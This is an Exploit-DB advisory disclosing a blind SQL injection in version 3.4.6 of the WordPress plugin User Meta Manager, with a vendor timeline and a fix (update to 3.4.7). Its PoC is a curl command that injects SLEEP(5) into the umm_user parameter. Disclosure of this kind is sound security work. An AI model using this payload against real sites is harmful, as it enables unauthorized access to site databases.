WordPress Plugin User Meta Manager 3.4.6 - Blind SQL Injection

EDB-ID:

39410

CVE:

N/A




Platform:

PHP

Date:

2016-02-04


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* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
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AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta 
Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection
attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET 
param.

PoC
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curl -c ${USER_COOKIES} \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
    &umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"


Timeline
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2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
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Update to version 3.4.7